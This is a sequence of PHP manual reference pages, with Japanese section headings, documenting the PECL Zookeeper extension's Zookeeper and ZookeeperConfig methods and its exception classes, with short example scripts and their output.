  • Create a handle to used communicate with zookeeper

Zookeeper::__construct

(PECL zookeeper >= 0.1.0)

Zookeeper::__construct — Create a handle to used communicate with zookeeper

説明

public Zookeeper::__construct ( string $host = '' , callable $watcher_cb = null , int $recv_timeout = 10000 )

This method creates a new handle and a zookeeper session that corresponds to that handle. Session establishment is asynchronous, meaning that the session should not be considered established until (and unless) an event of state ZOO_CONNECTED_STATE is received.

パラメータ

host

comma separated host:port pairs, each corresponding to a zk server. e.g. "127.0.0.1:3000,127.0.0.1:3001,127.0.0.1:3002"

watcher_cb

the global watcher callback function. When notifications are triggered this function will be invoked.

recv_timeout

the timeout for this session, only valid if the connections is currently connected (ie. last watcher state is ZOO_CONNECTED_STATE).

エラー / 例外

This method emits PHP error/warning when parameters count or types are wrong or could not init instance.

警告

Since version 0.3.0, this method emits ZookeeperException and it's derivatives.

参考

  • Zookeeper::connect() - Create a handle to used communicate with zookeeper
  • ZookeeperException

User Contributed Notes

There are no user contributed notes for this page.


Create a node synchronously

  • ≪ Zookeeper::__construct
  • Zookeeper::delete ≫
  • PHP Manual
  • Zookeeper
  • Create a node synchronously

Zookeeper::create

(PECL zookeeper >= 0.1.0)

Zookeeper::create — Create a node synchronously

説明

public Zookeeper::create ( string $path , string $value , array $acls , int $flags = null ) : string

This method will create a node in ZooKeeper. A node can only be created if it does not already exists. The Create Flags affect the creation of nodes. If ZOO_EPHEMERAL flag is set, the node will automatically get removed if the client session goes away. If the ZOO_SEQUENCE flag is set, a unique monotonically increasing sequence number is appended to the path name.

パラメータ

path

The name of the node. Expressed as a file name with slashes separating ancestors of the node.

value

The data to be stored in the node.

acls

The initial ACL of the node. The ACL must not be null or empty.

flags

this parameter can be set to 0 for normal create or an OR of the Create Flags

返り値

Returns the path of the new node (this might be different than the supplied path because of the ZOO_SEQUENCE flag) on success, and false on failure.

エラー / 例外

This method emits PHP error/warning when parameters count or types are wrong or fail to create node.

警告

Since version 0.3.0, this method emits ZookeeperException and it's derivatives.

例

例1 Zookeeper::create() example

Create a new node.

<?php
$zookeeper = new Zookeeper('locahost:2181');
$aclArray = array(
  array(
    'perms'  => Zookeeper::PERM_ALL,
    'scheme' => 'world',
    'id'     => 'anyone',
  )
);
$path = '/path/to/newnode';
$realPath = $zookeeper->create($path, null, $aclArray);
if ($realPath)
  echo $realPath;
else
  echo 'ERR';
?>

上の例の出力は以下となります。

/path/to/newnode

参考

  • Zookeeper::delete() - Delete a node in zookeeper synchronously
  • Zookeeper::getChildren() - Lists the children of a node synchronously
  • ZooKeeper Permissions
  • ZookeeperException

User Contributed Notes

There are no user contributed notes for this page.


Delete a node in zookeeper synchronously

  • ≪ Zookeeper::create
  • Zookeeper::exists ≫
  • PHP Manual
  • Zookeeper
  • Delete a node in zookeeper synchronously

Zookeeper::delete

(PECL zookeeper >= 0.2.0)

Zookeeper::delete — Delete a node in zookeeper synchronously

説明

public Zookeeper::delete ( string $path , int $version = -1 ) : bool

パラメータ

path

The name of the node. Expressed as a file name with slashes separating ancestors of the node.

version

The expected version of the node. The function will fail if the actual version of the node does not match the expected version. If -1 is used the version check will not take place.

返り値

成功した場合に true を、失敗した場合に false を返します。

エラー / 例外

This method emits PHP error/warning when parameters count or types are wrong or fail to delete node.

警告

Since version 0.3.0, this method emits ZookeeperException and it's derivatives.

例

例1 Zookeeper::delete() example

Delete a existing node.

<?php
$zookeeper = new Zookeeper('locahost:2181');
$path = '/path/to/node';
$r = $zookeeper->delete($path);
if ($r)
  echo 'SUCCESS';
else
  echo 'ERR';
?>

上の例の出力は以下となります。

SUCCESS

参考

  • Zookeeper::create() - Create a node synchronously
  • Zookeeper::getChildren() - Lists the children of a node synchronously
  • ZookeeperException

User Contributed Notes

There are no user contributed notes for this page.


Checks the existence of a node in zookeeper synchronously

  • ≪ Zookeeper::delete
  • Zookeeper::get ≫
  • PHP Manual
  • Zookeeper
  • Checks the existence of a node in zookeeper synchronously

Zookeeper::exists

(PECL zookeeper >= 0.1.0)

Zookeeper::exists — Checks the existence of a node in zookeeper synchronously

説明

public Zookeeper::exists ( string $path , callable $watcher_cb = null ) : array

パラメータ

path

The name of the node. Expressed as a file name with slashes separating ancestors of the node.

watcher_cb

if nonzero, a watch will be set at the server to notify the client if the node changes. The watch will be set even if the node does not

返り値

Returns the value of stat for the path if the given node exists, otherwise false.

エラー / 例外

This method emits PHP error/warning when parameters count or types are wrong or fail to check the existence of a node.

警告

Since version 0.3.0, this method emits ZookeeperException and it's derivatives.

例

例1 Zookeeper::exists() example

Check the existence of a node.

<?php
$zookeeper = new Zookeeper('locahost:2181');
$path = '/path/to/node';
$r = $zookeeper->exists($path);
if ($r)
  echo 'EXISTS';
else
  echo 'N/A or ERR';
?>

上の例の出力は以下となります。

EXISTS

参考

  • Zookeeper::get() - Gets the data associated with a node synchronously
  • ZookeeperException

User Contributed Notes

There are no user contributed notes for this page.


Gets the data associated with a node synchronously

  • ≪ Zookeeper::exists
  • Zookeeper::getAcl ≫
  • PHP Manual
  • Zookeeper
  • Gets the data associated with a node synchronously

Zookeeper::get

(PECL zookeeper >= 0.1.0)

Zookeeper::get — Gets the data associated with a node synchronously

説明

public Zookeeper::get ( string $path , callable $watcher_cb = null , array &$stat = null , int $max_size = 0 ) : string

パラメータ

path

The name of the node. Expressed as a file name with slashes separating ancestors of the node.

watcher_cb

If nonzero, a watch will be set at the server to notify the client if the node changes.

stat

If not NULL, will hold the value of stat for the path on return.

max_size

Max size of the data. If 0 is used, this method will return the whole data.

返り値

Returns the data on success, and false on failure.

エラー / 例外

This method emits PHP error/warning when parameters count or types are wrong or fail to get value from node.

警告

Since version 0.3.0, this method emits ZookeeperException and it's derivatives.

例

例1 Zookeeper::get() example

Get value from node.

<?php
$zookeeper = new Zookeeper('locahost:2181');
$path = '/path/to/node';
$value = 'nodevalue';
$zookeeper->set($path, $value);

$r = $zookeeper->get($path);
if ($r)
  echo $r;
else
  echo 'ERR';
?>

上の例の出力は以下となります。

nodevalue

例2 Zookeeper::get() stat example

Get node stat info.

<?php
$zookeeper = new Zookeeper('localhost:2181');
$path = '/path/to/node';
$stat = [];
$zookeeper->get($path, null, $stat);
var_dump($stat);
?>

上の例の出力は以下となります。

array(11) {
  ["czxid"]=>
  float(0)
  ["mzxid"]=>
  float(0)
  ["ctime"]=>
  float(0)
  ["mtime"]=>
  float(0)
  ["version"]=>
  int(0)
  ["cversion"]=>
  int(-2)
  ["aversion"]=>
  int(0)
  ["ephemeralOwner"]=>
  float(0)
  ["dataLength"]=>
  int(0)
  ["numChildren"]=>
  int(2)
  ["pzxid"]=>
  float(0)
}

参考

  • Zookeeper::set() - Sets the data associated with a node
  • ZookeeperException

User Contributed Notes

There are no user contributed notes for this page.


Gets the acl associated with a node synchronously

  • ≪ Zookeeper::get
  • Zookeeper::getChildren ≫
  • PHP Manual
  • Zookeeper
  • Gets the acl associated with a node synchronously

Zookeeper::getAcl

(PECL zookeeper >= 0.1.0)

Zookeeper::getAcl — Gets the acl associated with a node synchronously

説明

public Zookeeper::getAcl ( string $path ) : array

パラメータ

path

The name of the node. Expressed as a file name with slashes separating ancestors of the node.

返り値

Return acl array on success and false on failure.

エラー / 例外

This method emits PHP error/warning when parameters count or types are wrong or fail to get ACL of a node.

警告

Since version 0.3.0, this method emits ZookeeperException and it's derivatives.

例

例1 Zookeeper::getAcl() example

Get ACL of a node.

<?php
$zookeeper = new Zookeeper('locahost:2181');
$aclArray = array(
  array(
    'perms'  => Zookeeper::PERM_ALL,
    'scheme' => 'world',
    'id'     => 'anyone',
  )
);
$path = '/path/to/newnode';
$zookeeper->setAcl($path, $aclArray);

$r = $zookeeper->getAcl($path);
if ($r)
  var_dump($r);
else
  echo 'ERR';
?>

上の例の出力は以下となります。

array(1) {
  [0]=>
  array(3) {
    ["perms"]=>
    int(31)
    ["scheme"]=>
    string(5) "world"
    ["id"]=>
    string(6) "anyone"
  }
}

参考

  • Zookeeper::create() - Create a node synchronously
  • Zookeeper::setAcl() - Sets the acl associated with a node synchronously
  • ZooKeeper Permissions
  • ZookeeperException

User Contributed Notes

There are no user contributed notes for this page.


Lists the children of a node synchronously

  • ≪ Zookeeper::getAcl
  • Zookeeper::getClientId ≫
  • PHP Manual
  • Zookeeper
  • Lists the children of a node synchronously

Zookeeper::getChildren

(PECL zookeeper >= 0.1.0)

Zookeeper::getChildren — Lists the children of a node synchronously

説明

public Zookeeper::getChildren ( string $path , callable $watcher_cb = null ) : array

パラメータ

path

The name of the node. Expressed as a file name with slashes separating ancestors of the node.

watcher_cb

If nonzero, a watch will be set at the server to notify the client if the node changes.

返り値

Returns an array with children paths on success, and false on failure.

エラー / 例外

This method emits PHP error/warning when parameters count or types are wrong or fail to list children of a node.

警告

Since version 0.3.0, this method emits ZookeeperException and it's derivatives.

例

例1 Zookeeper::getChildren() example

Lists children of a node.

<?php
$zookeeper = new Zookeeper('locahost:2181');
$path = '/zookeeper';
$r = $zookeeper->getchildren($path);
if ($r)
  var_dump($r);
else
  echo 'ERR';
?>

上の例の出力は以下となります。

array(1) {
  [0]=>
  string(6) "config"
}

参考

  • Zookeeper::create() - Create a node synchronously
  • Zookeeper::delete() - Delete a node in zookeeper synchronously
  • ZookeeperException

User Contributed Notes

There are no user contributed notes for this page.


Return the client session id, only valid if the connections is currently connected (ie. last watcher state is ZOO_CONNECTED_STATE)

  • ≪ Zookeeper::getChildren
  • Zookeeper::getConfig ≫
  • PHP Manual
  • Zookeeper
  • Return the client session id, only valid if the connections is currently connected (ie. last watcher state is ZOO_CONNECTED_STATE)

Zookeeper::getClientId

(PECL zookeeper >= 0.1.0)

Zookeeper::getClientId — Return the client session id, only valid if the connections is currently connected (ie. last watcher state is ZOO_CONNECTED_STATE)

説明

public Zookeeper::getClientId ( ) : int

返り値

Returns the client session id on success, and false on failure.

エラー / 例外

This method emits PHP error/warning when it could not get client session id.

警告

Since version 0.3.0, this method emits ZookeeperException and it's derivatives.

参考

  • Zookeeper::__construct() - Create a handle to used communicate with zookeeper
  • Zookeeper::connect() - Create a handle to used communicate with zookeeper
  • Zookeeper::getState() - Get the state of the zookeeper connection
  • ZooKeeper States
  • ZookeeperException

User Contributed Notes

There are no user contributed notes for this page.


Get instance of ZookeeperConfig

  • ≪ Zookeeper::getClientId
  • Zookeeper::getRecvTimeout ≫
  • PHP Manual
  • Zookeeper
  • Get instance of ZookeeperConfig

Zookeeper::getConfig

(PECL zookeeper >= 0.6.0, ZooKeeper >= 3.5.0)

Zookeeper::getConfig — Get instance of ZookeeperConfig

説明

public Zookeeper::getConfig ( ) : ZookeeperConfig

返り値

Returns instance of ZookeeperConfig.

参考

  • ZookeeperConfig

User Contributed Notes

There are no user contributed notes for this page.


Return the timeout for this session, only valid if the connections is currently connected (ie. last watcher state is ZOO_CONNECTED_STATE). This value may change after a server re-connect

  • ≪ Zookeeper::getConfig
  • Zookeeper::getState ≫
  • PHP Manual
  • Zookeeper
  • Return the timeout for this session, only valid if the connections is currently connected (ie. last watcher state is ZOO_CONNECTED_STATE). This value may change after a server re-connect

Zookeeper::getRecvTimeout

(PECL zookeeper >= 0.1.0)

Zookeeper::getRecvTimeout — Return the timeout for this session, only valid if the connections is currently connected (ie. last watcher state is ZOO_CONNECTED_STATE). This value may change after a server re-connect

説明

public Zookeeper::getRecvTimeout ( ) : int

返り値

Returns the timeout for this session on success, and false on failure.

エラー / 例外

This method emits PHP error/warning when operation fails.

警告

Since version 0.3.0, this method emits ZookeeperException and it's derivatives.

参考

  • Zookeeper::__construct() - Create a handle to used communicate with zookeeper
  • Zookeeper::connect() - Create a handle to used communicate with zookeeper
  • ZookeeperException

User Contributed Notes

There are no user contributed notes for this page.


Get the state of the zookeeper connection

  • ≪ Zookeeper::getRecvTimeout
  • Zookeeper::isRecoverable ≫
  • PHP Manual
  • Zookeeper
  • Get the state of the zookeeper connection

Zookeeper::getState

(PECL zookeeper >= 0.1.0)

Zookeeper::getState — Get the state of the zookeeper connection

説明

public Zookeeper::getState ( ) : int

返り値

Returns the state of zookeeper connection on success, and false on failure.

エラー / 例外

This method emits PHP error/warning when it fails to get state of zookeeper connection.

警告

Since version 0.3.0, this method emits ZookeeperException and it's derivatives.

参考

  • Zookeeper::__construct() - Create a handle to used communicate with zookeeper
  • Zookeeper::connect() - Create a handle to used communicate with zookeeper
  • Zookeeper::getClientId() - Return the client session id, only valid if the connections is currently connected (ie. last watcher state is ZOO_CONNECTED_STATE)
  • ZooKeeper States
  • ZookeeperException

User Contributed Notes

There are no user contributed notes for this page.


Checks if the current zookeeper connection state can be recovered

  • ≪ Zookeeper::getState
  • Zookeeper::set ≫
  • PHP Manual
  • Zookeeper
  • Checks if the current zookeeper connection state can be recovered

Zookeeper::isRecoverable

(PECL zookeeper >= 0.1.0)

Zookeeper::isRecoverable — Checks if the current zookeeper connection state can be recovered

説明

public Zookeeper::isRecoverable ( ) : bool

The application must close the handle and try to reconnect.

返り値

Returns true/false on success, and false on failure.

エラー / 例外

This method emits PHP error/warning when operation fails.

警告

Since version 0.3.0, this method emits ZookeeperException and it's derivatives.

参考

  • Zookeeper::__construct() - Create a handle to used communicate with zookeeper
  • Zookeeper::connect() - Create a handle to used communicate with zookeeper
  • Zookeeper::getClientId() - Return the client session id, only valid if the connections is currently connected (ie. last watcher state is ZOO_CONNECTED_STATE)
  • ZooKeeper States
  • ZookeeperException

User Contributed Notes

There are no user contributed notes for this page.


Sets the data associated with a node

  • ≪ Zookeeper::isRecoverable
  • Zookeeper::setAcl ≫
  • PHP Manual
  • Zookeeper
  • Sets the data associated with a node

Zookeeper::set

(PECL zookeeper >= 0.1.0)

Zookeeper::set — Sets the data associated with a node

説明

public Zookeeper::set ( string $path , string $value , int $version = -1 , array &$stat = null ) : bool

パラメータ

path

The name of the node. Expressed as a file name with slashes separating ancestors of the node.

value

The data to be stored in the node.

version

The expected version of the node. The function will fail if the actual version of the node does not match the expected version. If -1 is used the version check will not take place.

stat

If not NULL, will hold the value of stat for the path on return.

返り値

成功した場合に true を、失敗した場合に false を返します。

エラー / 例外

This method emits PHP error/warning when parameters count or types are wrong or fail to save value to node.

警告

Since version 0.3.0, this method emits ZookeeperException and it's derivatives.

例

例1 Zookeeper::set() example

Save value to node.

<?php
$zookeeper = new Zookeeper('locahost:2181');
$path = '/path/to/node';
$value = 'nodevalue';
$r = $zookeeper->set($path, $value);
if ($r)
  echo 'SUCCESS';
else
  echo 'ERR';
?>

上の例の出力は以下となります。

SUCCESS

参考

  • Zookeeper::create() - Create a node synchronously
  • Zookeeper::get() - Gets the data associated with a node synchronously
  • ZookeeperException

User Contributed Notes

There are no user contributed notes for this page.


Sets the acl associated with a node synchronously

  • ≪ Zookeeper::set
  • Zookeeper::setDebugLevel ≫
  • PHP Manual
  • Zookeeper
  • Sets the acl associated with a node synchronously

Zookeeper::setAcl

(PECL zookeeper >= 0.1.0)

Zookeeper::setAcl — Sets the acl associated with a node synchronously

説明

public Zookeeper::setAcl ( string $path , int $version , array $acl ) : bool

パラメータ

path

The name of the node. Expressed as a file name with slashes separating ancestors of the node.

version

The expected version of the path.

acl

The acl to be set on the path.

返り値

成功した場合に true を、失敗した場合に false を返します。

エラー / 例外

This method emits PHP error/warning when parameters count or types are wrong or fail to set ACL for a node.

警告

Since version 0.3.0, this method emits ZookeeperException and it's derivatives.

例

例1 Zookeeper::setAcl() example

Set ACL for a node.

<?php
$zookeeper = new Zookeeper('locahost:2181');
$aclArray = array(
  array(
    'perms'  => Zookeeper::PERM_ALL,
    'scheme' => 'world',
    'id'     => 'anyone',
  )
);
$path = '/path/to/newnode';
$zookeeper->setAcl($path, $aclArray);

$r = $zookeeper->getAcl($path);
if ($r)
  var_dump($r);
else
  echo 'ERR';
?>

上の例の出力は以下となります。

array(1) {
  [0]=>
  array(3) {
    ["perms"]=>
    int(31)
    ["scheme"]=>
    string(5) "world"
    ["id"]=>
    string(6) "anyone"
  }
}

参考

  • Zookeeper::create() - Create a node synchronously
  • Zookeeper::getAcl() - Gets the acl associated with a node synchronously
  • ZooKeeper Permissions
  • ZookeeperException

User Contributed Notes

There are no user contributed notes for this page.


Sets the debugging level for the library

  • ≪ Zookeeper::setAcl
  • Zookeeper::setDeterministicConnOrder ≫
  • PHP Manual
  • Zookeeper
  • Sets the debugging level for the library

Zookeeper::setDebugLevel

(PECL zookeeper >= 0.1.0)

Zookeeper::setDebugLevel — Sets the debugging level for the library

説明

public static Zookeeper::setDebugLevel ( int $logLevel ) : bool

パラメータ

logLevel

ZooKeeper log level constants.

返り値

成功した場合に true を、失敗した場合に false を返します。

エラー / 例外

This method emits PHP error/warning when parameters count or types are wrong or fail to set debug level.

警告

Since version 0.3.0, this method emits ZookeeperException and it's derivatives.

例

例1 Zookeeper::setDebugLevel() example

Set debugl level.

<?php
$r = Zookeeper::setDebugLevel(Zookeeper::LOG_LEVEL_WARN);
if ($r)
  echo 'SUCCESS';
else
  echo 'ERR';
?>
?>

上の例の出力は以下となります。

SUCCESS

参考

  • ZooKeeper Log Levels
  • ZookeeperException

User Contributed Notes

There are no user contributed notes for this page.


Enable/disable quorum endpoint order randomization

  • ≪ Zookeeper::setDebugLevel
  • Zookeeper::setLogStream ≫
  • PHP Manual
  • Zookeeper
  • Enable/disable quorum endpoint order randomization

Zookeeper::setDeterministicConnOrder

(PECL zookeeper >= 0.1.0)

Zookeeper::setDeterministicConnOrder — Enable/disable quorum endpoint order randomization

説明

public static Zookeeper::setDeterministicConnOrder ( bool $yesOrNo ) : bool

If passed a true value, will make the client connect to quorum peers in the order as specified in the zookeeper_init() call. A false value causes zookeeper_init() to permute the peer endpoints which is good for more even client connection distribution among the quorum peers. ZooKeeper C Client uses false by default.

パラメータ

yesOrNo

Disable/enable quorum endpoint order randomization.

返り値

成功した場合に true を、失敗した場合に false を返します。

エラー / 例外

This method emits PHP error/warning when parameters count or types are wrong or operation fails.

警告

Since version 0.3.0, this method emits ZookeeperException and it's derivatives.

参考

  • Zookeeper::__construct() - Create a handle to used communicate with zookeeper
  • Zookeeper::connect() - Create a handle to used communicate with zookeeper
  • ZookeeperException

User Contributed Notes

There are no user contributed notes for this page.


Sets the stream to be used by the library for logging

  • ≪ Zookeeper::setDeterministicConnOrder
  • Zookeeper::setWatcher ≫
  • PHP Manual
  • Zookeeper
  • Sets the stream to be used by the library for logging

Zookeeper::setLogStream

(PECL zookeeper >= 0.1.0)

Zookeeper::setLogStream — Sets the stream to be used by the library for logging

説明

public Zookeeper::setLogStream ( resource $stream ) : bool

The zookeeper library uses stderr as its default log stream. Application must make sure the stream is writable. Passing in NULL resets the stream to its default value (stderr).

パラメータ

stream

The stream to be used by the library for logging.

返り値

成功した場合に true を、失敗した場合に false を返します。

エラー / 例外

This method emits PHP error/warning when parameters count or types are wrong or operation fails.

警告

Since version 0.3.0, this method emits ZookeeperException and it's derivatives.

参考

  • Zookeeper::setDebugLevel() - Sets the debugging level for the library
  • ZookeeperException

User Contributed Notes

There are no user contributed notes for this page.


Set a watcher function

  • ≪ Zookeeper::setLogStream
  • ZookeeperConfig ≫
  • PHP Manual
  • Zookeeper
  • Set a watcher function

Zookeeper::setWatcher

(PECL zookeeper >= 0.1.0)

Zookeeper::setWatcher — Set a watcher function

説明

public Zookeeper::setWatcher ( callable $watcher_cb ) : bool

パラメータ

watcher_cb

A watch will be set at the server to notify the client if the node changes.

返り値

成功した場合に true を、失敗した場合に false を返します。

エラー / 例外

This method emits PHP error/warning when parameters count or types are wrong or fail to set watcher.

警告

Since version 0.3.0, this method emits ZookeeperException and it's derivatives.

参考

  • Zookeeper::exists() - Checks the existence of a node in zookeeper synchronously
  • Zookeeper::get() - Gets the data associated with a node synchronously
  • ZookeeperException

User Contributed Notes

There are no user contributed notes for this page.


The ZookeeperConfig class

(PECL zookeeper >= 0.6.0, ZooKeeper >= 3.5.0)

はじめに

The ZooKeeper Config handling class.

クラス概要

ZookeeperConfig {
/* メソッド */
public add ( string $members , int $version = -1 , array &$stat = null ) : void
public get ( callable $watcher_cb = null , array &$stat = null ) : string
public remove ( string $id_list , int $version = -1 , array &$stat = null ) : void
public set ( string $members , int $version = -1 , array &$stat = null ) : void
}

目次

  • ZookeeperConfig::add — Add servers to the ensemble
  • ZookeeperConfig::get — Gets the last committed configuration of the ZooKeeper cluster as it is known to the server to which the client is connected, synchronously
  • ZookeeperConfig::remove — Remove servers from the ensemble
  • ZookeeperConfig::set — Change ZK cluster ensemble membership and roles of ensemble peers

User Contributed Notes

There are no user contributed notes for this page.


Add servers to the ensemble

  • ≪ ZookeeperConfig
  • ZookeeperConfig::get ≫
  • PHP Manual
  • ZookeeperConfig
  • Add servers to the ensemble

ZookeeperConfig::add

(PECL zookeeper >= 0.6.0, ZooKeeper >= 3.5.0)

ZookeeperConfig::add — Add servers to the ensemble

説明

public ZookeeperConfig::add ( string $members , int $version = -1 , array &$stat = null ) : void

パラメータ

members

Comma separated list of servers to be added to the ensemble. Each has a configuration line for a server to be added (as would appear in a configuration file), only for maj. quorums.

version

The expected version of the node. The function will fail if the actual version of the node does not match the expected version. If -1 is used the version check will not take place.

stat

If not NULL, will hold the value of stat for the path on return.

エラー / 例外

This method emits ZookeeperException and it's derivatives when parameters count or types are wrong or fail to save value to node.

例

例1 ZookeeperConfig::add() example

Add members.

<?php
$client = new Zookeeper();
$client->connect('localhost:2181');
$client->addAuth('digest', 'timandes:timandes');
$zkConfig = $client->getConfig();
$zkConfig->set("server.1=localhost:2888:3888:participant;0.0.0.0:2181");
$zkConfig->add("server.2=localhost:2889:3889:participant;0.0.0.0:2182");
$r = $zkConfig->get();
if ($r)
  echo $r;
else
  echo 'ERR';
?>

上の例の出力は以下となります。

server.1=localhost:2888:3888:participant;0.0.0.0:2181
server.2=localhost:2889:3889:participant;0.0.0.0:2182
version=0xca01e881a2

参考

  • ZookeeperConfig::get() - Gets the last committed configuration of the ZooKeeper cluster as it is known to the server to which the client is connected, synchronously
  • ZookeeperConfig::set() - Change ZK cluster ensemble membership and roles of ensemble peers
  • ZookeeperConfig::remove() - Remove servers from the ensemble
  • ZookeeperException

User Contributed Notes

There are no user contributed notes for this page.


Gets the last committed configuration of the ZooKeeper cluster as it is known to the server to which the client is connected, synchronously

  • ≪ ZookeeperConfig::add
  • ZookeeperConfig::remove ≫
  • PHP Manual
  • ZookeeperConfig
  • Gets the last committed configuration of the ZooKeeper cluster as it is known to the server to which the client is connected, synchronously

ZookeeperConfig::get

(PECL zookeeper >= 0.6.0, ZooKeeper >= 3.5.0)

ZookeeperConfig::get — Gets the last committed configuration of the ZooKeeper cluster as it is known to the server to which the client is connected, synchronously

説明

public ZookeeperConfig::get ( callable $watcher_cb = null , array &$stat = null ) : string

パラメータ

watcher_cb

If nonzero, a watch will be set at the server to notify the client if the node changes.

stat

If not NULL, will hold the value of stat for the path on return.

返り値

Returns the configuration string on success, and false on failure.

エラー / 例外

This method emits ZookeeperException and it's derivatives when parameters count or types are wrong or fail to get configuration.

例

例1 ZookeeperConfig::get() example

Get configuration.

<?php
$zk = new Zookeeper();
$zk->connect('localhost:2181');
$zk->addAuth('digest', 'timandes:timandes');
$zkConfig = $zk->getConfig();
$r = $zkConfig->get();
if ($r)
  echo $r;
else
  echo 'ERR';
?>

上の例の出力は以下となります。

server.1=localhost:2888:3888:participant;0.0.0.0:2181
version=0xca01e881a2

参考

  • ZookeeperConfig::set() - Change ZK cluster ensemble membership and roles of ensemble peers
  • ZookeeperConfig::add() - Add servers to the ensemble
  • ZookeeperConfig::remove() - Remove servers from the ensemble
  • ZookeeperException

User Contributed Notes

There are no user contributed notes for this page.


Remove servers from the ensemble

  • ≪ ZookeeperConfig::get
  • ZookeeperConfig::set ≫
  • PHP Manual
  • ZookeeperConfig
  • Remove servers from the ensemble

ZookeeperConfig::remove

(PECL zookeeper >= 0.6.0, ZooKeeper >= 3.5.0)

ZookeeperConfig::remove — Remove servers from the ensemble

説明

public ZookeeperConfig::remove ( string $id_list , int $version = -1 , array &$stat = null ) : void

パラメータ

id_list

Comma separated list of server IDs to be removed from the ensemble. Each has an id of a server to be removed, only for maj. quorums.

version

The expected version of the node. The function will fail if the actual version of the node does not match the expected version. If -1 is used the version check will not take place.

stat

If not NULL, will hold the value of stat for the path on return.

エラー / 例外

This method emits ZookeeperException and it's derivatives when parameters count or types are wrong or fail to save value to node.

例

例1 ZookeeperConfig::remove() example

Remove members.

<?php
$client = new Zookeeper();
$client->connect('localhost:2181');
$client->addAuth('digest', 'timandes:timandes');
$zkConfig = $client->getConfig();
$zkConfig->set("server.1=localhost:2888:3888:participant;0.0.0.0:2181,server.2=localhost:2889:3889:participant;0.0.0.0:2182");
$zkConfig->remove("2");
echo $zkConfig->get();
if ($r)
  echo $r;
else
  echo 'ERR';
?>

上の例の出力は以下となります。

server.1=localhost:2888:3888:participant;0.0.0.0:2181
version=0xca01e881a2

参考

  • ZookeeperConfig::get() - Gets the last committed configuration of the ZooKeeper cluster as it is known to the server to which the client is connected, synchronously
  • ZookeeperConfig::add() - Add servers to the ensemble
  • ZookeeperConfig::set() - Change ZK cluster ensemble membership and roles of ensemble peers
  • ZookeeperException

User Contributed Notes

There are no user contributed notes for this page.


Change ZK cluster ensemble membership and roles of ensemble peers

  • ≪ ZookeeperConfig::remove
  • ZookeeperException ≫
  • PHP Manual
  • ZookeeperConfig
  • Change ZK cluster ensemble membership and roles of ensemble peers

ZookeeperConfig::set

(PECL zookeeper >= 0.6.0, ZooKeeper >= 3.5.0)

ZookeeperConfig::set — Change ZK cluster ensemble membership and roles of ensemble peers

説明

public ZookeeperConfig::set ( string $members , int $version = -1 , array &$stat = null ) : void

パラメータ

members

Comma separated list of new membership (e.g., contents of a membership configuration file) - for use only with a non-incremental reconfiguration.

version

The expected version of the node. The function will fail if the actual version of the node does not match the expected version. If -1 is used the version check will not take place.

stat

If not NULL, will hold the value of stat for the path on return.

エラー / 例外

This method emits ZookeeperException and it's derivatives when parameters count or types are wrong or fail to save value to node.

例

例1 ZookeeperConfig::set() example

Reconfig.

<?php
$client = new Zookeeper();
$client->connect('localhost:2181');
$client->addAuth('digest', 'timandes:timandes');
$zkConfig = $client->getConfig();
$zkConfig->set("server.1=localhost:2888:3888:participant;0.0.0.0:2181");
?>

参考

  • ZookeeperConfig::get() - Gets the last committed configuration of the ZooKeeper cluster as it is known to the server to which the client is connected, synchronously
  • ZookeeperConfig::add() - Add servers to the ensemble
  • ZookeeperConfig::remove() - Remove servers from the ensemble
  • ZookeeperException

User Contributed Notes

There are no user contributed notes for this page.


The ZookeeperException class

(PECL zookeeper >= 0.3.0)

はじめに

The ZooKeeper exception handling class.

クラス概要

ZookeeperException extends Exception {
/* 継承したプロパティ */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* 継承したメソッド */
final public Exception::getMessage ( ) : string
final public Exception::getPrevious ( ) : Exception
final public Exception::getCode ( ) : mixed
final public Exception::getFile ( ) : string
final public Exception::getLine ( ) : int
final public Exception::getTrace ( ) : array
final public Exception::getTraceAsString ( ) : string
public Exception::__toString ( ) : string
final private Exception::__clone ( ) : void
}

User Contributed Notes

There are no user contributed notes for this page.


The ZookeeperAuthenticationException class

(PECL zookeeper >= 0.3.0)

はじめに

The ZooKeeper authentication exception handling class.

クラス概要

ZookeeperAuthenticationException extends ZookeeperException {
/* 継承したプロパティ */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* 継承したメソッド */
final public Exception::getMessage ( ) : string
final public Exception::getPrevious ( ) : Exception
final public Exception::getCode ( ) : mixed
final public Exception::getFile ( ) : string
final public Exception::getLine ( ) : int
final public Exception::getTrace ( ) : array
final public Exception::getTraceAsString ( ) : string
public Exception::__toString ( ) : string
final private Exception::__clone ( ) : void
}

User Contributed Notes

There are no user contributed notes for this page.


The ZookeeperConnectionException class

(PECL zookeeper >= 0.3.0)

はじめに

The ZooKeeper connection exception handling class.

クラス概要

ZookeeperConnectionException extends ZookeeperException {
/* 継承したプロパティ */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* 継承したメソッド */
final public Exception::getMessage ( ) : string
final public Exception::getPrevious ( ) : Exception
final public Exception::getCode ( ) : mixed
final public Exception::getFile ( ) : string
final public Exception::getLine ( ) : int
final public Exception::getTrace ( ) : array
final public Exception::getTraceAsString ( ) : string
public Exception::__toString ( ) : string
final private Exception::__clone ( ) : void
}

User Contributed Notes

There are no user contributed notes for this page.


The ZookeeperMarshallingException class

(PECL zookeeper >= 0.3.0)

はじめに

The ZooKeeper exception (while marshalling or unmarshalling data) handling class.

クラス概要

ZookeeperMarshallingException extends ZookeeperException {
/* 継承したプロパティ */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* 継承したメソッド */
final public Exception::getMessage ( ) : string
final public Exception::getPrevious ( ) : Exception
final public Exception::getCode ( ) : mixed
final public Exception::getFile ( ) : string
final public Exception::getLine ( ) : int
final public Exception::getTrace ( ) : array
final public Exception::getTraceAsString ( ) : string
public Exception::__toString ( ) : string
final private Exception::__clone ( ) : void
}

User Contributed Notes

There are no user contributed notes for this page.


The ZookeeperNoNodeException class

(PECL zookeeper >= 0.3.0)

はじめに

The ZooKeeper exception (when node does not exist) handling class.

クラス概要

ZookeeperNoNodeException extends ZookeeperException {
/* 継承したプロパティ */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* 継承したメソッド */
final public Exception::getMessage ( ) : string
final public Exception::getPrevious ( ) : Exception
final public Exception::getCode ( ) : mixed
final public Exception::getFile ( ) : string
final public Exception::getLine ( ) : int
final public Exception::getTrace ( ) : array
final public Exception::getTraceAsString ( ) : string
public Exception::__toString ( ) : string
final private Exception::__clone ( ) : void
}

User Contributed Notes

There are no user contributed notes for this page.


